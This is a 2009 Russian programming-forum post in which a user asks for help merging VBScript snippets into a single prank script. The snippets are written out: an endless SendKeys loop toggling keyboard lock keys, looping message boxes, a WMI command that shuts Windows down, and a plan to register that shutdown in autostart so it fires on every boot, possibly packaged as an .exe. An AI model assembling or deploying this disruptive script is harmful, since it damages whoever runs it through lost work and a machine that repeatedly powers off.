Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > IT форум > Помощь студентам
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 18.12.2009, 21:23   #1
kaviga
Пользователь
 
Аватар для kaviga
 
Регистрация: 22.01.2009
Сообщений: 92
Счастье vbs склеить код

Нужно собрать во едино прикольную весчь:
вот что она должна делать
test.vbs - запускается
выскакивает окно с текстом и кнопками да и нет
Код:
If MsgBox ("текст в онкне", vbYesNo, "заголовок") = vbYes then
'действие при нажатии кнопки Да
Else

'действие при нажатии кнопки Нет
End If
при нажатии да..начинал работать вот это
Код:
Set S = CreateObject("WScript.Shell")
do 
Wscript.sleep(0)
s.sendkeys"{numlock}" 
Wscript.sleep(0)
s.sendkeys"{capslock}" 
Wscript.sleep(0)
s.sendkeys"{scrolllock}" 
loop
и параллельно выскакивали сообщение типо вот этих
Код:
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
Do
msgbox"повтор!!!!!"
loop
потом через 20 секунд после:
Код:
Do
msgbox"повтор!!!!!"
выполнял вот эту работу
Код:
msgbox "тест"
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") 
for each OpSys in OpSysSet 
OpSys.ShutDown() 
next
msgbox "тест"
и ещё надо что бы он в реестр скорее всего записал,что бы при каждом запуске:
выполнялась вот эта шняга
Код:
msgbox "тест"
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") 
for each OpSys in OpSysSet 
OpSys.ShutDown() 
next
msgbox "тест"
и что бы можно было убрать из автозагрузки
А теперь о нажатии кнопки нет:
при нажатии нет
Код:
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
msgbox"тест"
Do
msgbox"повтор!!!!!"
loop
потом через 20 секунд после:
Код:
Do
msgbox"повтор!!!!"
выполнял вот эту работу
Код:
msgbox "тест"
Set OpSysSet = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true") 
for each OpSys in OpSysSet 
OpSys.ShutDown() 
next
msgbox "тест"
и тоже заносил в реестр что бы срабатывало при каждом запуске и можно было отключить через автозапуск
вот мои некоторые наработки,я как бэ не суппер программист в vbs я php и mylsq занимаюсь,так что все что тут(коды)я выдумал...все что я понял,а совместить не могу..заранее спасибо
а возможно ли это сделать что бы файл запустился с помощью файл.exe
пишите на тот же адрес

Последний раз редактировалось kaviga; 18.12.2009 в 21:31.
kaviga вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
склеить 2 массива по порядку с помощью формулы MaxxVer Microsoft Office Excel 5 21.06.2010 17:29
Проблема с VBS А. Долматов JavaScript, Ajax 1 13.04.2010 10:00
Склеить таблицы в книге расположив по вертикали. MaxxVer Microsoft Office Excel 4 15.12.2009 09:19
Как склеить документы? drooon Microsoft Office Word 1 04.01.2009 02:28
xls - txt. VBS Xozer Свободное общение 2 03.03.2008 11:29